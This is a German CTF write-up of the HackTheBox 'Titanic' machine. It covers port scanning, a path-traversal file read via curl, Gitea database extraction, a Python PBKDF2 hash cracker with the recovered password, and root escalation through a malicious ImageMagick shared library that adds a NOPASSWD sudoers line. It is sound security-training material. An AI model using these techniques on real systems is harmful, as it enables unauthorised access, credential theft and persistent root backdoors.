> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md). # Titanic HackTheBox Ausarbeitung {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * **Lokales Datei-Inkludieren (LFI)** * **Extraktion der Gitea-Datenbank** * **ImageMagick-Exploit (Privilegieneskalation)** {% endhint %} ## Aufklärung **Einrichtung des Arbeitsbereichs:** Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindung prüfen** Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

**Offene-Ports-Ermittlung mit Nmap:** Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts ```

**Analyse offener Ports mit extractPorts:** Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (22.80) ```bash nmap -sCV -p22,80 10.10.11.55 -oN targeted ```

Dann fügen wir die IP zu unserem `/etc/hosts` Datei ein:

### Scannen von Port 80 (HTTP) ####

### Scannen von Port 80 (HTTP) #### Technologieerkennung Mit `wappalyzer`, identifizieren wir, dass die Website **Flask und Python**

## Lokales Datei-Inkludieren (LFI)

Die Website bietet eine Option, eine Reise zu bestellen, die eine JSON-Datei zurückgibt.

Durch das Abfangen der Anfrage mit **Burp Suite**, bemerken wir einen `download` Parameter, der Zugriff auf die Dateien ermöglicht:

```bash /download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json ``` Wir testen eine Dateieinbindung: ``` /download?ticket=/etc/passwd ```

Mit `curl`: ``` curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd ``` Wir erhalten die Systembenutzer, einschließlich **developer**.

### Subdomain-Fuzzing Wir suchen nach Subdomains mit **Gobuster**: ```bash gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r ```

Wir entdecken **dev.titanic.htb**, das wir zu `/etc/hosts`.

## Gitea-Ausnutzung Auf der **dev** Subdomain finden wir eine **Gitea** Instanz.

#### Einen Benutzer erstellen

Wir finden ein im Klartext gespeichertes Passwort (Datenbank):

Beim Durchsuchen der Gitea-SQLite-Datenbank finden wir ihren Pfad:

`/home/developer/gitea/data/gitea/gitea.db`

Wir verbinden uns damit: ```sql sqlite3 gitea.db .tables ```

Dann extrahieren wir die Passwort-Hashes: ```sql SELECT lower_name, passwd, salt FROM user; ```

### Brute-Force für Salted Hashes #### Hash: ``` e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34 ``` #### Salz: ``` b8dc26d526439f6f2f4523fa8ea522a2 ``` Wir verwenden ein Python-Skript, um den Hash zu knacken: ```python import hashlib import binascii def pbkdf2_hash(password, salt, iterations=50000, dklen=50): hash_value = hashlib.pbkdf2_hmac( 'sha256', password.encode('utf-8'), salt, iterations, dklen ) return hash_value def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50): target_hash_bytes = binascii.unhexlify(target_hash) with open(dictionary_file, 'r', encoding='utf-8') as file: count = 0 for line in file: password = line.strip() hash_value = pbkdf2_hash(password, salt, iterations, dklen) count += 1 print(f"Anzahl: {count}: {password}") if hash_value == target_hash_bytes: print(f"/nGefundenes Passwort: {password}") return password print("Passwort nicht gefunden.") return None salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56' dictionary_file = '/usr/share/wordlists/rockyou.txt' find_matching_password(dictionary_file, target_hash, salt) ``` #### - Das gefundene Passwort ist **25282528**.

Wir verbinden uns per SSH: ```bash ssh developer@ticanic.htb ```

### Flagge user.txt :)

## Privilegieneskalation ### Cron-Job - Ausnutzung von ImageMagick In `/opt/`, finden wir ein Skript `script.sh` automatisch ausgeführt

```bash cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` > Dieses Shell-Skript wechselt zuerst in den `/opt/app/static/assets/images` Ordner, dann gibt es die `metadata.log` Datei aus, falls sie existiert. Dann sucht es nach allen `.jpg` Dateien in diesem Verzeichnis und verwendet den ImageMagick- `identify` Befehl, um ihre Metadaten (Größe, Format, Farbtiefe usw.) zu extrahieren. Diese Informationen werden dann in `metadata.log`gespeichert. Somit ermöglicht dieses Skript, eine aktualisierte Metadatendatei für alle im angegebenen Ordner vorhandenen JPG-Bilder zu erzeugen. Das Skript verwendet **ImageMagick**, eine verwundbare Version. ```bash magicks --version ```

### Ausnutzung über `LD_PRELOAD` Wir erstellen einen `a.c` Datei ein: ```c #include #include #include #include void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers"); } ``` Kompilierung: ```bash gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles ```

Wir fügen es dem Verzeichnis hinzu, das von `ImageMagick`. Dann führen wir aus: ```bash su root ```

### Flag root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.